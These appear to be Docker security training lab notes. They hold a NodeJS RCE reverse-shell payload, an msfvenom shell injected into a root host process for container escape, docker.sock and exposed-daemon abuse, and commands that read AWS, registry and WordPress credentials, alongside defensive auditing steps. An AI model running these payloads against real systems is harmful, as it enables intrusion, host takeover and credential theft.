to enumeate the container you are in:
for i in {1..254}; do (ping -c 1 172.19.0.$i | grep "bytes from" | cut -d':' -f1 | cut -d' ' -f4 &); done
i.e. exploiting NodeJS app with RCE, vulnerable w/ parameter "q"
require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/<ATTACKER-IP>/<PORT> 0>%261"')
pass it to url like...
http://CTFVMIP?q=require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/192.168.56.3/5555 0>%261"')
now we have a shell - look for /var/run/docker.sock
To access the host resource using the docker.sock UNIX socket. Run the following
./docker -H unix:///var/run/docker.sock ps
./docker -H unix:///var/run/docker.sock images
When you run a container, Docker creates a set of namespaces for that container.
- The pid namespace: Process isolation (PID: Process ID)
- The net namespace: Managing network interfaces (NET: Networking)
- The ipc namespace: Managing access to IPC resources (IPC: InterProcess Communication)
- The mnt namespace: Managing filesystem mount points (MNT: Mount)
- The uts namespace: Different host and domain names (UTS: Unix Timesharing System)
- The user namespace: Isolate security-related identifiers (USER: userid, groupid)
Namespaces Demonstration
docker run --rm -d alpine sleep 1111
ps auxx | grep 'sleep 1111'
sudo ls /proc/[pid]/ns/
- PID namespaces isolate the process ID number space, meaning that processes in different PID namespaces can have the same PID
- PID namespaces allow containers to provide functionality such as suspending/resuming the set of processes in the container and migrating the container to a new host while the processes inside the container maintain the same PIDs
For example, while running nginx docker container we always get PID 1 for nginx but at the host we see a different PID like 9989
docker run --rm --name=samplewebapp1 -d nginx:alpine
ps auxxx | grep nginx
docker exec -it samplewebapp1 sh
ps auxxx | grep nginx
Here we can see that both process have different pids in host system but inside container they both use pid 1
docker run --rm --name=samplewebapp2 -d nginx:alpine
ps auxxx | grep nginx
docker exec -it samplewebapp2 sh
ps auxxx | grep nginx
We can also pass or attach the host process namespace or any other container process namespace to container using the --pid flag
docker run --rm -it --pid=host jess/htop
Processes (like web servers) that just need to bind on a port below 1024 do not have to run as root, they can just be granted the net_bind_service
capability instead.
docker run --rm -it alpine sh
ping 127.0.0.1 -c 2
let's remove the CAP_NET_RAW capability and try again
docker run --rm -it --cap-drop=NET_RAW alpine sh
ping 127.0.0.1 -c 2
We can check the list of capabilities applied the container or system using the below command
docker run --rm -it 71aa5f3f90dc bash
capsh --print
Run the below command to start a privileged container
docker run --rm -it --privileged=true 71aa5f3f90dc bash
capsh --print
It is possible to access the host devices from the privileged containers using more /dev/kmsg The /dev/kmsg character device node provides userspace access to the kernel's printk buffer.
Login to the container using below command. Ensure that you run this in the CTF vm
docker exec -it sysmon bash
Check for existing capabilities by running
capsh --print
Also the container has enabled --pid=host
so we can access then host process using top
command
Generate reverse shell payload using metasploit's msfvenom program. Replace the 192.168.56.3 with student vm IP address.
cd /home/student/linux-injector
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.56.3 LPORT=4444 -f raw -o payload.bin
Send the exploit and injector program to the container using simple python server. Run the below command in student vm
cd /home/student
tar -czf linux-injector.tar.gz linux-injector
python -m SimpleHTTPServer 8002
Download the payload in the ctf vm container. Run the below command in the CTF vm and inside the sysmon container. Ensure you replace the 192.168.56.3 with your student vm IP
curl -o linux-injector.tar.gz http://192.168.56.3:8002/linux-injector.tar.gz
tar xzf linux-injector.tar.gz
cd linux-injector
chmod 755 injector
nc -lvp 4444
Now identify the process, which is running as root in the host system to gain root access for connect back. Run the following command inside CTF vm sysmon container
ps auxx | grep root | grep ping
./injector 2046 payload.bin
On successful injection of payload, we get a reverse connection at our listener with access to host system outside the container
The Docker daemon can listen for Docker Engine API requests via three different types of Socket unix, tcp, and fd. To access remotely we have to enable tcp socket. The default setup provides un-encrypted and un-authenticated direct access to the Docker daemon. It is conventional to use port 2375 for un-encrypted, and port 2376 for encrypted communication with the daemon. Attacker can abuse this by using the docker daemon configuration to access the host system's docker runtime
docker -H tcp://CTFVMIP:2375 ps
docker -H tcp://CTFVMIP:2375 images
and now we root ;)
Checking the checksum for the images
docker images --digests ubuntu
Content trust is disabled by default. To enable it, set the DOCKER_CONTENT_TRUST environment variable to 1
docker trust inspect mediawiki --pretty
We can use docker hub registry scanning, clair (Vulnerability Static Analysis for Containers) or vulners.
docker run --rm -it 71aa5f3f90dc bash
cat /etc/issue
dpkg-query -W -f='${Package} ${Version} ${Architecture}\n'
then paste these packages in the vulners and see the list of known vulnerabilities
We can check for these data using the docker inspect command on both images and containers
docker inspect <image name>
docker inspect <container name>
Run the below command to show the history of a docker image. This will list the commands that were used for creating the image
docker history custom-htop
docker volume inspect 1e030154f4952361cec6c21e838a0fb617c7b7cc6359570407eb9f697b229b67
sudo -i
cd /var/lib/docker/volumes/1e030154f4952361cec6c21e838a0fb617c7b7cc6359570407eb9f697b229b67/_data
ls
grep -i 'flag' wp-config.php
grep -i 'password' wp-config.php
Docker by default creates it's own networking namespace when we use Docker Swarm or Docker Compose By default bridge, host, null networking options are available
docker network ls
docker inspect wordpress_default
In this section, we will be using a simple unauthenticated docker private registry to perform security audit.
We can check if the docker registry is up by running the following command in the student VM
curl -s http://localhost:5000/v2/_catalog | jq .
Get the list of tags and versions of a docker image from the registry
curl -s http://localhost:5000/v2/devcode/tags/list | jq .
Downloading a registry image locally
docker pull localhost:5000/devcode:latest
Reviewing the container for sensitive data and hard coded secrets
docker run --rm -it localhost:5000/devcode:latest sh
cat /.aws/credentials
```
Lets check the default docker daemon configuration. This prints the default username and registry used by the docker run time
docker system info
Lets look for the configured registries from the host. The credentials may authorize us to pull and/or push images to the registry
cat ~/.docker/config.json
Checking for the docker daemon configuration
docker system info

Looking for the global events generated by the docker runtime
docker system events

Checking for the docker API exposed on 0.0.0.0
sudo cat /lib/systemd/system/docker.service

Checking if the docker socket is mounted to any running container
docker inspect | grep -i '/var/run/'

Checking other files and data related to docker
sudo ls -l /var/lib/docker/
We can list the changed files and directories in a containers file system There are 3 events that are listed in the diff A - Add D - Delete C - Change
Demonstration Let's run a ubuntu container and perform some changes
docker run --name checkintegriy -it ubuntu:latest bash
mkdir -p /data/output
echo "modifed this stuff" > /.dockerenv
exit
Now lets see the diff using the following command
docker diff checkintegriy
- Host configuration
- Docker daemon configuration and files
- Docker container images
- Docker runtime
- Docker security operations
- Docker swarm configuration
- Running docker bench security
Now lets perform the audit
cd /opt/docker-bench-security
sudo bash docker-bench-security.sh
This is a container introspection tool that lets you find out what container runtime is being used as well as the features available.
Docker container running with no privileges
docker run --rm -it r.j3ss.co/amicontained -d

Docker container running with host privileges
docker run --rm -it --pid host r.j3ss.co/amicontained -d
Docker container running with apparmor profile security options
docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained -d